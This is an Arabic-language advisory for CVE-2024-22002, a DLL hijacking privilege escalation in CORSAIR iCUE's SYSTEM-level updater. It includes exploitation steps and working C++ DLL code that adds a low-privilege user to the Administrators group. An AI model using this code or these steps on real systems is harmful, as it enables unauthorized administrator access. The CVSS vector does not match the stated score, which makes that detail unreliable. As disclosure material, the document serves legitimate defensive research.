iCUE_DllHijack_LPE-CVE-2024-22002

البرنامج الضعيف والإصدار

• رابط تحميل البرنامج: CORSAIR iCUE v5.9.105 with iCUE Murals

الوصف

تم اكتشاف ثغرة اختطاف DLL (DLL Hijacking) في iCUE v5.9.105. تحدث هذه الثغرة أثناء عملية التحديث التي تديرها خدمة "iCUEUpdateService". تقوم الخدمة بإطلاق عملية ("cuepkg.exe") مسؤولة عن تنفيذ التحديث، وتعمل بصلاحيات "NT AUTHORITY\SYSTEM". عند بدء العملية، تبحث عن العديد من ملفات DLL في الدليل \cuepkg-1.2.6 الموجود داخل دليل تثبيت iCUE. بعض هذه الملفات غير موجودة افتراضيًا، ولكن نظرًا لأن المستخدم العادي لديه صلاحيات لإنشاء ملفات في هذا الدليل، يمكن للمهاجم إدخال ملف DLL ضار إلى الدليل. وبالتالي، سيتم تحميل ملف DLL الضار بواسطة cuepkg.exe بصلاحيات مدير (Administrator).

ملفات DLL المتأثرة التي تم اكتشافها هي:

• MSASN1.dll
• NTASN1.dll
• profapi.dll

متجه CVSS: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

• Base Score: 7.8 (عالية)
• Temporal Score: 7.8 (عالية)
• Environmental Score: 7.8 (عالية)

PoC

كمثال، سيتم استخدام ملف DLL profapi.dll.

1. قم بإنشاء ملف DLL الضار الخاص بنا وأضفه إلى الدليل %INSTALLDIR%cuepkg-1.2.6.
2. انتظر حتى يتم تحديث البرنامج تلقائيًا، أو في هذه الحالة، قم بفرض التحديث بالنقر على "Check for updates".
3. يتم إضافة المستخدم الذي لا يمتلك صلاحيات المسؤول إلى المجموعة.

صلاحيات المستخدم lowpriv قبل تنفيذ ملف DLL الضار:

صلاحيات المستخدم lowpriv بعد تنفيذ ملف DLL الضار:

• مثال على الكود الضار:

#include "pch.h"
#include <windows.h>
#include <cstdlib>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    {
        system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }

    return TRUE;
}